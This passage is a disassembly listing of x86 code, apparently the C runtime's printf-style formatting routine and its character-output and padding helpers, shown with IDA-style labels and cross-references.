cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_42809D lea edx, [ebp+var_22C] push edx mov eax, [ebp+arg_0] push eax movsx ecx, byte ptr [ebp+var_28] push ecx call sub_428C90 add esp, 0Ch mov edx, [ebp+arg_4] mov al, [edx] mov byte ptr [ebp+var_28], al mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx loc_42806E: ; CODE XREF: sub_427F60+13Bj movsx edx, byte ptr [ebp+var_28] test edx, edx jnz short loc_428097 push offset aCh_t0 ; "ch != _T('\\0')" push 0 push 186h push offset aOutput_c ; "output.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_428097 int 3 ; Trap to Debugger loc_428097: ; CODE XREF: sub_427F60+114j ; sub_427F60+134j xor eax, eax test eax, eax jnz short loc_42806E loc_42809D: ; CODE XREF: sub_427F60+E3j lea ecx, [ebp+var_22C] push ecx mov edx, [ebp+arg_0] push edx movsx eax, byte ptr [ebp+var_28] push eax call sub_428C90 add esp, 0Ch jmp loc_428B72 ; --------------------------------------------------------------------------- loc_4280BA: ; CODE XREF: sub_427F60+B9j ; DATA XREF: _0:00428B88o mov [ebp+var_8], 0 mov ecx, [ebp+var_8] mov [ebp+var_23C], ecx mov edx, [ebp+var_23C] mov [ebp+var_244], edx mov eax, [ebp+var_244] mov [ebp+var_10], eax mov [ebp+var_4], 0 mov [ebp+var_234], 0FFFFFFFFh mov [ebp+var_1C], 0 jmp loc_428B72 ; --------------------------------------------------------------------------- loc_4280FC: ; CODE XREF: sub_427F60+B9j ; DATA XREF: _0:00428B8Co movsx ecx, byte ptr [ebp+var_28] mov [ebp+var_298], ecx mov edx, [ebp+var_298] sub edx, 20h mov [ebp+var_298], edx cmp [ebp+var_298], 10h ja short loc_428166 mov ecx, [ebp+var_298] xor eax, eax mov al, byte_428BBC[ecx] jmp off_428BA4[eax*4] loc_428133: ; CODE XREF: sub_427F60+B9j ; DATA XREF: _0:00428BB0o mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx jmp short loc_428166 ; --------------------------------------------------------------------------- loc_42813E: ; CODE XREF: sub_427F60+B9j ; sub_427F60+1CCj ; DATA XREF: ... mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax jmp short loc_428166 ; --------------------------------------------------------------------------- loc_428148: ; CODE XREF: sub_427F60+B9j ; sub_427F60+1CCj ; DATA XREF: ... mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx jmp short loc_428166 ; --------------------------------------------------------------------------- loc_428153: ; CODE XREF: sub_427F60+B9j ; sub_427F60+1CCj ; DATA XREF: ... mov edx, [ebp+var_4] or dl, 80h mov [ebp+var_4], edx jmp short loc_428166 ; --------------------------------------------------------------------------- loc_42815E: ; CODE XREF: sub_427F60+B9j ; sub_427F60+1CCj ; DATA XREF: ... mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_428166: ; CODE XREF: sub_427F60+B9j ; sub_427F60+1BCj ... jmp loc_428B72 ; --------------------------------------------------------------------------- loc_42816B: ; CODE XREF: sub_427F60+B9j ; DATA XREF: _0:00428B90o movsx ecx, byte ptr [ebp+var_28] cmp ecx, 2Ah jnz short loc_4281A7 lea edx, [ebp+arg_8] push edx call sub_428DA0 add esp, 4 mov [ebp+var_244], eax cmp [ebp+var_244], 0 jge short loc_4281A5 mov eax, [ebp+var_4] or al, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_244] neg ecx mov [ebp+var_244], ecx loc_4281A5: ; CODE XREF: sub_427F60+22Dj jmp short loc_4281BE ; --------------------------------------------------------------------------- loc_4281A7: ; CODE XREF: sub_427F60+212j mov edx, [ebp+var_244] imul edx, 0Ah movsx eax, byte ptr [ebp+var_28] lea ecx, [edx+eax-30h] mov [ebp+var_244], ecx loc_4281BE: ; CODE XREF: sub_427F60:loc_4281A5j jmp loc_428B72 ; --------------------------------------------------------------------------- loc_4281C3: ; CODE XREF: sub_427F60+B9j ; DATA XREF: _0:00428B94o mov [ebp+var_234], 0 jmp loc_428B72 ; --------------------------------------------------------------------------- loc_4281D2: ; CODE XREF: sub_427F60+B9j ; DATA XREF: _0:00428B98o movsx edx, byte ptr [ebp+var_28] cmp edx, 2Ah jnz short loc_428202 lea eax, [ebp+arg_8] push eax call sub_428DA0 add esp, 4 mov [ebp+var_234], eax cmp [ebp+var_234], 0 jge short loc_428200 mov [ebp+var_234], 0FFFFFFFFh loc_428200: ; CODE XREF: sub_427F60+294j jmp short loc_428219 ; --------------------------------------------------------------------------- loc_428202: ; CODE XREF: sub_427F60+279j mov ecx, [ebp+var_234] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_28] lea eax, [ecx+edx-30h] mov [ebp+var_234], eax loc_428219: ; CODE XREF: sub_427F60:loc_428200j jmp loc_428B72 ; --------------------------------------------------------------------------- loc_42821E: ; CODE XREF: sub_427F60+B9j ; DATA XREF: _0:00428B9Co movsx ecx, byte ptr [ebp+var_28] mov [ebp+var_29C], ecx mov edx, [ebp+var_29C] sub edx, 49h mov [ebp+var_29C], edx cmp [ebp+var_29C], 2Eh ja short loc_4282AC mov ecx, [ebp+var_29C] xor eax, eax mov al, byte_428BE1[ecx] jmp off_428BCD[eax*4] loc_428255: ; DATA XREF: _0:00428BD5o mov edx, [ebp+var_4] or edx, 10h mov [ebp+var_4], edx jmp short loc_4282AC ; --------------------------------------------------------------------------- loc_428260: ; CODE XREF: sub_427F60+2EEj ; DATA XREF: _0:off_428BCDo mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] cmp ecx, 36h jnz short loc_42828B mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+1] cmp eax, 34h jnz short loc_42828B mov ecx, [ebp+arg_4] add ecx, 2 mov [ebp+arg_4], ecx mov edx, [ebp+var_4] or dh, 80h mov [ebp+var_4], edx jmp short loc_428297 ; --------------------------------------------------------------------------- loc_42828B: ; CODE XREF: sub_427F60+309j ; sub_427F60+315j mov [ebp+var_18], 0 jmp loc_428020 ; --------------------------------------------------------------------------- loc_428297: ; CODE XREF: sub_427F60+329j jmp short loc_4282AC ; --------------------------------------------------------------------------- loc_428299: ; CODE XREF: sub_427F60+2EEj ; DATA XREF: _0:00428BD1o mov eax, [ebp+var_4] or al, 20h mov [ebp+var_4], eax jmp short loc_4282AC ; --------------------------------------------------------------------------- loc_4282A3: ; CODE XREF: sub_427F60+2EEj ; DATA XREF: _0:00428BD9o mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_4282AC: ; CODE XREF: sub_427F60+2DEj ; sub_427F60+2EEj ... jmp loc_428B72 ; --------------------------------------------------------------------------- loc_4282B1: ; CODE XREF: sub_427F60+B9j ; DATA XREF: _0:00428BA0o movsx edx, byte ptr [ebp+var_28] mov [ebp+var_2A0], edx mov eax, [ebp+var_2A0] sub eax, 43h mov [ebp+var_2A0], eax cmp [ebp+var_2A0], 35h ja loc_428997 mov edx, [ebp+var_2A0] xor ecx, ecx mov cl, byte_428C4C[edx] jmp off_428C10[ecx*4] loc_4282EC: ; DATA XREF: _0:off_428C10o mov eax, [ebp+var_4] and eax, 830h test eax, eax jnz short loc_428301 mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_428301: ; CODE XREF: sub_427F60+385j ; sub_427F60+396j ; DATA XREF: ... mov edx, [ebp+var_4] and edx, 810h test edx, edx jz short loc_428347 lea eax, [ebp+arg_8] push eax call sub_428DE0 add esp, 4 mov [ebp+var_14], ax mov cx, [ebp+var_14] push ecx lea edx, [ebp+var_228] push edx call sub_431A80 add esp, 8 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jge short loc_428345 mov [ebp+var_23C], 1 loc_428345: ; CODE XREF: sub_427F60+3D9j jmp short loc_42836D ; --------------------------------------------------------------------------- loc_428347: ; CODE XREF: sub_427F60+3ACj lea eax, [ebp+arg_8] push eax call sub_428DA0 add esp, 4 mov [ebp+var_248], ax mov cl, byte ptr [ebp+var_248] mov [ebp+var_228], cl mov [ebp+var_24], 1 loc_42836D: ; CODE XREF: sub_427F60:loc_428345j lea edx, [ebp+var_228] mov [ebp+var_20], edx jmp loc_428997 ; --------------------------------------------------------------------------- loc_42837B: ; CODE XREF: sub_427F60+385j ; DATA XREF: _0:00428C20o lea eax, [ebp+arg_8] push eax call sub_428DA0 add esp, 4 mov [ebp+var_24C], eax cmp [ebp+var_24C], 0 jz short loc_4283A2 mov ecx, [ebp+var_24C] cmp dword ptr [ecx+4], 0 jnz short loc_4283BC loc_4283A2: ; CODE XREF: sub_427F60+434j mov edx, ds:off_453DFC mov [ebp+var_20], edx mov eax, [ebp+var_20] push eax call sub_41BC70 add esp, 4 mov [ebp+var_24], eax jmp short loc_42840B ; --------------------------------------------------------------------------- loc_4283BC: ; CODE XREF: sub_427F60+440j mov ecx, [ebp+var_4] and ecx, 800h test ecx, ecx jz short loc_4283EC mov edx, [ebp+var_24C] mov eax, [edx+4] mov [ebp+var_20], eax mov ecx, [ebp+var_24C] movsx edx, word ptr [ecx] shr edx, 1 mov [ebp+var_24], edx mov [ebp+var_1C], 1 jmp short loc_42840B ; --------------------------------------------------------------------------- loc_4283EC: ; CODE XREF: sub_427F60+467j mov [ebp+var_1C], 0 mov eax, [ebp+var_24C] mov ecx, [eax+4] mov [ebp+var_20], ecx mov edx, [ebp+var_24C] movsx eax, word ptr [edx] mov [ebp+var_24], eax loc_42840B: ; CODE XREF: sub_427F60+45Aj ; sub_427F60+48Aj jmp loc_428997 ; --------------------------------------------------------------------------- loc_428410: ; CODE XREF: sub_427F60+385j ; DATA XREF: _0:00428C18o mov ecx, [ebp+var_4] and ecx, 830h test ecx, ecx jnz short loc_428426 mov edx, [ebp+var_4] or dh, 8 mov [ebp+var_4], edx loc_428426: ; CODE XREF: sub_427F60+385j ; sub_427F60+4BBj ; DATA XREF: ... cmp [ebp+var_234], 0FFFFFFFFh jnz short loc_42843B mov [ebp+var_2A4], 7FFFFFFFh jmp short loc_428447 ; --------------------------------------------------------------------------- loc_42843B: ; CODE XREF: sub_427F60+4CDj mov eax, [ebp+var_234] mov [ebp+var_2A4], eax loc_428447: ; CODE XREF: sub_427F60+4D9j mov ecx, [ebp+var_2A4] mov [ebp+var_258], ecx lea edx, [ebp+arg_8] push edx call sub_428DA0 add esp, 4 mov [ebp+var_20], eax mov eax, [ebp+var_4] and eax, 810h test eax, eax jz short loc_4284D6 cmp [ebp+var_20], 0 jnz short loc_42847D mov ecx, ds:off_453E00 mov [ebp+var_20], ecx loc_42847D: ; CODE XREF: sub_427F60+512j mov [ebp+var_1C], 1 mov edx, [ebp+var_20] mov [ebp+var_254], edx loc_42848D: ; CODE XREF: sub_427F60+564j mov eax, [ebp+var_258] mov ecx, [ebp+var_258] sub ecx, 1 mov [ebp+var_258], ecx test eax, eax jz short loc_4284C6 mov edx, [ebp+var_254] xor eax, eax mov ax, [edx] test eax, eax jz short loc_4284C6 mov ecx, [ebp+var_254] add ecx, 2 mov [ebp+var_254], ecx jmp short loc_42848D ; --------------------------------------------------------------------------- loc_4284C6: ; CODE XREF: sub_427F60+544j ; sub_427F60+553j mov edx, [ebp+var_254] sub edx, [ebp+var_20] sar edx, 1 mov [ebp+var_24], edx jmp short loc_428530 ; --------------------------------------------------------------------------- loc_4284D6: ; CODE XREF: sub_427F60+50Cj cmp [ebp+var_20], 0 jnz short loc_4284E4 mov eax, ds:off_453DFC mov [ebp+var_20], eax loc_4284E4: ; CODE XREF: sub_427F60+57Aj mov ecx, [ebp+var_20] mov [ebp+var_250], ecx loc_4284ED: ; CODE XREF: sub_427F60+5C2j mov edx, [ebp+var_258] mov eax, [ebp+var_258] sub eax, 1 mov [ebp+var_258], eax test edx, edx jz short loc_428524 mov ecx, [ebp+var_250] movsx edx, byte ptr [ecx] test edx, edx jz short loc_428524 mov eax, [ebp+var_250] add eax, 1 mov [ebp+var_250], eax jmp short loc_4284ED ; --------------------------------------------------------------------------- loc_428524: ; CODE XREF: sub_427F60+5A4j ; sub_427F60+5B1j mov ecx, [ebp+var_250] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx loc_428530: ; CODE XREF: sub_427F60+574j jmp loc_428997 ; --------------------------------------------------------------------------- loc_428535: ; CODE XREF: sub_427F60+385j ; DATA XREF: _0:00428C30o lea edx, [ebp+arg_8] push edx call sub_428DA0 add esp, 4 mov [ebp+var_25C], eax mov eax, [ebp+var_4] and eax, 20h test eax, eax jz short loc_428563 mov ecx, [ebp+var_25C] mov dx, word ptr [ebp+var_22C] mov [ecx], dx jmp short loc_428571 ; --------------------------------------------------------------------------- loc_428563: ; CODE XREF: sub_427F60+5EFj mov eax, [ebp+var_25C] mov ecx, [ebp+var_22C] mov [eax], ecx loc_428571: ; CODE XREF: sub_427F60+601j mov [ebp+var_23C], 1 jmp loc_428997 ; --------------------------------------------------------------------------- loc_428580: ; CODE XREF: sub_427F60+385j ; DATA XREF: _0:00428C14o mov [ebp+var_8], 1 mov dl, byte ptr [ebp+var_28] add dl, 20h mov byte ptr [ebp+var_28], dl loc_428590: ; CODE XREF: sub_427F60+385j ; DATA XREF: _0:00428C2Co mov eax, [ebp+var_4] or al, 40h mov [ebp+var_4], eax lea ecx, [ebp+var_228] mov [ebp+var_20], ecx cmp [ebp+var_234], 0 jge short loc_4285B6 mov [ebp+var_234], 6 jmp short loc_4285D2 ; --------------------------------------------------------------------------- loc_4285B6: ; CODE XREF: sub_427F60+648j cmp [ebp+var_234], 0 jnz short loc_4285D2 movsx edx, byte ptr [ebp+var_28] cmp edx, 67h jnz short loc_4285D2 mov [ebp+var_234], 1 loc_4285D2: ; CODE XREF: sub_427F60+654j ; sub_427F60+65Dj ... mov eax, [ebp+arg_8] add eax, 8 mov [ebp+arg_8], eax mov ecx, [ebp+arg_8] sub ecx, 8 mov edx, [ecx] mov eax, [ecx+4] mov [ebp+var_264], edx mov [ebp+var_260], eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_234] push edx movsx eax, byte ptr [ebp+var_28] push eax mov ecx, [ebp+var_20] push ecx lea edx, [ebp+var_264] push edx call ds:off_454190 add esp, 14h mov eax, [ebp+var_4] and eax, 80h test eax, eax jz short loc_428638 cmp [ebp+var_234], 0 jnz short loc_428638 mov ecx, [ebp+var_20] push ecx call ds:off_45419C add esp, 4 loc_428638: ; CODE XREF: sub_427F60+6C0j ; sub_427F60+6C9j movsx edx, byte ptr [ebp+var_28] cmp edx, 67h jnz short loc_42865A mov eax, [ebp+var_4] and eax, 80h test eax, eax jnz short loc_42865A mov ecx, [ebp+var_20] push ecx call ds:off_454194 add esp, 4 loc_42865A: ; CODE XREF: sub_427F60+6DFj ; sub_427F60+6EBj mov edx, [ebp+var_20] movsx eax, byte ptr [edx] cmp eax, 2Dh jnz short loc_428677 mov ecx, [ebp+var_4] or ch, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_428677: ; CODE XREF: sub_427F60+703j mov eax, [ebp+var_20] push eax call sub_41BC70 add esp, 4 mov [ebp+var_24], eax jmp loc_428997 ; --------------------------------------------------------------------------- loc_42868B: ; CODE XREF: sub_427F60+385j ; DATA XREF: _0:00428C28o mov ecx, [ebp+var_4] or ecx, 40h mov [ebp+var_4], ecx mov [ebp+var_238], 0Ah jmp loc_428725 ; --------------------------------------------------------------------------- loc_4286A3: ; CODE XREF: sub_427F60+385j ; DATA XREF: _0:00428C40o mov [ebp+var_238], 0Ah jmp short loc_428725 ; --------------------------------------------------------------------------- loc_4286AF: ; CODE XREF: sub_427F60+385j ; DATA XREF: _0:00428C38o mov [ebp+var_234], 8 loc_4286B9: ; CODE XREF: sub_427F60+385j ; DATA XREF: _0:00428C1Co mov [ebp+var_230], 7 jmp short loc_4286CF ; --------------------------------------------------------------------------- loc_4286C5: ; CODE XREF: sub_427F60+385j ; DATA XREF: _0:00428C44o mov [ebp+var_230], 27h loc_4286CF: ; CODE XREF: sub_427F60+763j mov [ebp+var_238], 10h mov edx, [ebp+var_4] and edx, 80h test edx, edx jz short loc_428703 mov [ebp+var_240], 30h mov eax, [ebp+var_230] add eax, 51h mov [ebp+var_23F], al mov [ebp+var_10], 2 loc_428703: ; CODE XREF: sub_427F60+784j jmp short loc_428725 ; --------------------------------------------------------------------------- loc_428705: ; CODE XREF: sub_427F60+385j ; DATA XREF: _0:00428C34o mov [ebp+var_238], 8 mov ecx, [ebp+var_4] and ecx, 80h test ecx, ecx jz short loc_428725 mov edx, [ebp+var_4] or dh, 2 mov [ebp+var_4], edx loc_428725: ; CODE XREF: sub_427F60+73Ej ; sub_427F60+74Dj ... mov eax, [ebp+var_4] and eax, 8000h test eax, eax jz short loc_42874E lea ecx, [ebp+arg_8] push ecx call sub_428DC0 add esp, 4 mov [ebp+var_278], eax mov [ebp+var_274], edx jmp loc_4287DF ; --------------------------------------------------------------------------- loc_42874E: ; CODE XREF: sub_427F60+7CFj mov edx, [ebp+var_4] and edx, 20h test edx, edx jz short loc_4287A0 mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_428780 lea ecx, [ebp+arg_8] push ecx call sub_428DA0 add esp, 4 movsx eax, ax cdq mov [ebp+var_278], eax mov [ebp+var_274], edx jmp short loc_42879E ; --------------------------------------------------------------------------- loc_428780: ; CODE XREF: sub_427F60+800j lea edx, [ebp+arg_8] push edx call sub_428DA0 add esp, 4 and eax, 0FFFFh cdq mov [ebp+var_278], eax mov [ebp+var_274], edx loc_42879E: ; CODE XREF: sub_427F60+81Ej jmp short loc_4287DF ; --------------------------------------------------------------------------- loc_4287A0: ; CODE XREF: sub_427F60+7F6j mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_4287C5 lea ecx, [ebp+arg_8] push ecx call sub_428DA0 add esp, 4 cdq mov [ebp+var_278], eax mov [ebp+var_274], edx jmp short loc_4287DF ; --------------------------------------------------------------------------- loc_4287C5: ; CODE XREF: sub_427F60+848j lea edx, [ebp+arg_8] push edx call sub_428DA0 add esp, 4 xor ecx, ecx mov [ebp+var_278], eax mov [ebp+var_274], ecx loc_4287DF: ; CODE XREF: sub_427F60+7E9j ; sub_427F60:loc_42879Ej ... mov edx, [ebp+var_4] and edx, 40h test edx, edx jz short loc_428827 cmp [ebp+var_274], 0 jg short loc_428827 jl short loc_4287FD cmp [ebp+var_278], 0 jnb short loc_428827 loc_4287FD: ; CODE XREF: sub_427F60+892j mov eax, [ebp+var_278] neg eax mov ecx, [ebp+var_274] adc ecx, 0 neg ecx mov [ebp+var_26C], eax mov [ebp+var_268], ecx mov edx, [ebp+var_4] or dh, 1 mov [ebp+var_4], edx jmp short loc_42883F ; --------------------------------------------------------------------------- loc_428827: ; CODE XREF: sub_427F60+887j ; sub_427F60+890j ... mov eax, [ebp+var_278] mov [ebp+var_26C], eax mov ecx, [ebp+var_274] mov [ebp+var_268], ecx loc_42883F: ; CODE XREF: sub_427F60+8C5j mov edx, [ebp+var_4] and edx, 8000h test edx, edx jnz short loc_428867 mov eax, [ebp+var_26C] mov ecx, [ebp+var_268] and ecx, 0 mov [ebp+var_26C], eax mov [ebp+var_268], ecx loc_428867: ; CODE XREF: sub_427F60+8EAj cmp [ebp+var_234], 0 jge short loc_42887C mov [ebp+var_234], 1 jmp short loc_428885 ; --------------------------------------------------------------------------- loc_42887C: ; CODE XREF: sub_427F60+90Ej mov edx, [ebp+var_4] and edx, 0FFFFFFF7h mov [ebp+var_4], edx loc_428885: ; CODE XREF: sub_427F60+91Aj mov eax, [ebp+var_26C] or eax, [ebp+var_268] test eax, eax jnz short loc_42889C mov [ebp+var_10], 0 loc_42889C: ; CODE XREF: sub_427F60+933j lea ecx, [ebp+var_29] mov [ebp+var_20], ecx loc_4288A2: ; CODE XREF: sub_427F60+9EBj mov edx, [ebp+var_234] mov eax, [ebp+var_234] sub eax, 1 mov [ebp+var_234], eax test edx, edx jg short loc_4288CF mov ecx, [ebp+var_26C] or ecx, [ebp+var_268] test ecx, ecx jz loc_428950 loc_4288CF: ; CODE XREF: sub_427F60+959j mov eax, [ebp+var_238] cdq push edx push eax mov edx, [ebp+var_268] push edx mov eax, [ebp+var_26C] push eax call sub_4214F0 add eax, 30h mov [ebp+var_270], eax mov eax, [ebp+var_238] cdq push edx push eax mov ecx, [ebp+var_268] push ecx mov edx, [ebp+var_26C] push edx call sub_421480 mov [ebp+var_26C], eax mov [ebp+var_268], edx cmp [ebp+var_270], 39h jle short loc_428937 mov eax, [ebp+var_270] add eax, [ebp+var_230] mov [ebp+var_270], eax loc_428937: ; CODE XREF: sub_427F60+9C3j mov ecx, [ebp+var_20] mov dl, byte ptr [ebp+var_270] mov [ecx], dl mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax jmp loc_4288A2 ; --------------------------------------------------------------------------- loc_428950: ; CODE XREF: sub_427F60+969j lea ecx, [ebp+var_29] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+var_4] and eax, 200h test eax, eax jz short loc_428997 mov ecx, [ebp+var_20] movsx edx, byte ptr [ecx] cmp edx, 30h jnz short loc_42897F cmp [ebp+var_24], 0 jnz short loc_428997 loc_42897F: ; CODE XREF: sub_427F60+A17j mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+var_20] mov byte ptr [ecx], 30h mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx loc_428997: ; CODE XREF: sub_427F60+371j ; sub_427F60+385j ... cmp [ebp+var_23C], 0 jnz loc_428B72 mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_4289FD mov ecx, [ebp+var_4] and ecx, 100h test ecx, ecx jz short loc_4289CB mov [ebp+var_240], 2Dh mov [ebp+var_10], 1 jmp short loc_4289FD ; --------------------------------------------------------------------------- loc_4289CB: ; CODE XREF: sub_427F60+A59j mov edx, [ebp+var_4] and edx, 1 test edx, edx jz short loc_4289E5 mov [ebp+var_240], 2Bh mov [ebp+var_10], 1 jmp short loc_4289FD ; --------------------------------------------------------------------------- loc_4289E5: ; CODE XREF: sub_427F60+A73j mov eax, [ebp+var_4] and eax, 2 test eax, eax jz short loc_4289FD mov [ebp+var_240], 20h mov [ebp+var_10], 1 loc_4289FD: ; CODE XREF: sub_427F60+A4Cj ; sub_427F60+A69j ... mov ecx, [ebp+var_244] sub ecx, [ebp+var_24] sub ecx, [ebp+var_10] mov [ebp+var_27C], ecx mov edx, [ebp+var_4] and edx, 0Ch test edx, edx jnz short loc_428A35 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 20h call sub_428D10 add esp, 10h loc_428A35: ; CODE XREF: sub_427F60+AB7j lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_10] push edx lea eax, [ebp+var_240] push eax call sub_428D50 add esp, 10h mov ecx, [ebp+var_4] and ecx, 8 test ecx, ecx jz short loc_428A83 mov edx, [ebp+var_4] and edx, 4 test edx, edx jnz short loc_428A83 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 30h call sub_428D10 add esp, 10h loc_428A83: ; CODE XREF: sub_427F60+AFBj ; sub_427F60+B05j cmp [ebp+var_1C], 0 jz loc_428B31 cmp [ebp+var_24], 0 jle loc_428B31 mov eax, [ebp+var_20] mov [ebp+var_280], eax mov ecx, [ebp+var_24] mov [ebp+var_284], ecx loc_428AA9: ; CODE XREF: sub_427F60+BCAj mov edx, [ebp+var_284] mov eax, [ebp+var_284] sub eax, 1 mov [ebp+var_284], eax test edx, edx jz short loc_428B2F mov ecx, [ebp+var_280] mov dx, [ecx] mov [ebp+var_2A6], dx mov ax, [ebp+var_2A6] push eax lea ecx, [ebp+var_288] push ecx mov edx, [ebp+var_280] add edx, 2 mov [ebp+var_280], edx call sub_431A80 add esp, 8 mov [ebp+var_28C], eax cmp [ebp+var_28C], 0 jg short loc_428B09 jmp short loc_428B2F ; --------------------------------------------------------------------------- loc_428B09: ; CODE XREF: sub_427F60+BA5j lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_28C] push edx lea eax, [ebp+var_288] push eax call sub_428D50 add esp, 10h jmp loc_428AA9 ; --------------------------------------------------------------------------- loc_428B2F: ; CODE XREF: sub_427F60+B60j ; sub_427F60+BA7j jmp short loc_428B4C ; --------------------------------------------------------------------------- loc_428B31: ; CODE XREF: sub_427F60+B27j ; sub_427F60+B31j lea ecx, [ebp+var_22C] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_20] push ecx call sub_428D50 add esp, 10h loc_428B4C: ; CODE XREF: sub_427F60:loc_428B2Fj mov edx, [ebp+var_4] and edx, 4 test edx, edx jz short loc_428B72 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 20h call sub_428D10 add esp, 10h loc_428B72: ; CODE XREF: sub_427F60+ADj ; sub_427F60+155j ... jmp loc_427F84 ; --------------------------------------------------------------------------- loc_428B77: ; CODE XREF: sub_427F60+3Bj ; sub_427F60+48j mov eax, [ebp+var_22C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_427F60 endp ; --------------------------------------------------------------------------- off_428B84 dd offset loc_428020 ; DATA XREF: sub_427F60+B9r dd offset loc_4280BA dd offset loc_4280FC dd offset loc_42816B dd offset loc_4281C3 dd offset loc_4281D2 dd offset loc_42821E dd offset loc_4282B1 off_428BA4 dd offset loc_428148 ; DATA XREF: sub_427F60+1CCr dd offset loc_428153 dd offset loc_42813E dd offset loc_428133 dd offset loc_42815E dd offset loc_428166 byte_428BBC db 0 ; DATA XREF: sub_427F60+1C6r db 2 dup(5), 1 dd 5050505h, 2050505h, 5050305h db 4 off_428BCD dd offset loc_428260 ; DATA XREF: sub_427F60+2EEr dd offset loc_428299 dd offset loc_428255 dd offset loc_4282A3 dd offset loc_4282AC byte_428BE1 db 0, 1Eh dup(4), 1, 3 dup(4), 2, 0Ah dup(4), 3 ; DATA XREF: sub_427F60+2E8r off_428C10 dd offset loc_4282EC ; DATA XREF: sub_427F60+385r dd offset loc_428580 dd offset loc_428410 dd offset loc_4286B9 dd offset loc_42837B dd offset loc_428301 dd offset loc_42868B dd offset loc_428590 dd offset loc_428535 dd offset loc_428705 dd offset loc_4286AF dd offset loc_428426 dd offset loc_4286A3 dd offset loc_4286C5 dd offset loc_428997 byte_428C4C db 0, 0Eh, 1, 0Eh, 1, 0Bh dup(0Eh), 2, 4 dup(0Eh), 3, 0Eh ; DATA XREF: sub_427F60+37Fr db 4, 8 dup(0Eh), 5, 6, 3 dup(7), 0Eh, 6, 4 dup(0Eh), 8 db 9, 0Ah, 2 dup(0Eh), 0Bh, 0Eh, 0Ch, 2 dup(0Eh), 0Dh db 0Eh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428C90 proc near ; CODE XREF: sub_427F60+F5p ; sub_427F60+14Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_4] mov [edx+4], ecx mov eax, [ebp+arg_4] cmp dword ptr [eax+4], 0 jl short loc_428CD2 mov ecx, [ebp+arg_4] mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al movsx ecx, byte ptr [ebp+arg_0] and ecx, 0FFh mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_428CE5 ; --------------------------------------------------------------------------- loc_428CD2: ; CODE XREF: sub_428C90+1Aj mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_427CE0 add esp, 8 mov [ebp+var_4], eax loc_428CE5: ; CODE XREF: sub_428C90+40j cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_428CF6 mov ecx, [ebp+arg_8] mov dword ptr [ecx], 0FFFFFFFFh jmp short loc_428D03 ; --------------------------------------------------------------------------- loc_428CF6: ; CODE XREF: sub_428C90+59j mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax loc_428D03: ; CODE XREF: sub_428C90+64j mov esp, ebp pop ebp retn sub_428C90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428D10 proc near ; CODE XREF: sub_427F60+ACDp ; sub_427F60+B1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp loc_428D13: ; CODE XREF: sub_428D10:loc_428D41j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx test eax, eax jle short loc_428D43 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx call sub_428C90 add esp, 0Ch mov edx, [ebp+arg_C] cmp dword ptr [edx], 0FFFFFFFFh jnz short loc_428D41 jmp short loc_428D43 ; --------------------------------------------------------------------------- loc_428D41: ; CODE XREF: sub_428D10+2Dj jmp short loc_428D13 ; --------------------------------------------------------------------------- loc_428D43: ; CODE XREF: sub_428D10+11j ; sub_428D10+2Fj pop ebp retn sub_428D10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428D50 proc near ; CODE XREF: 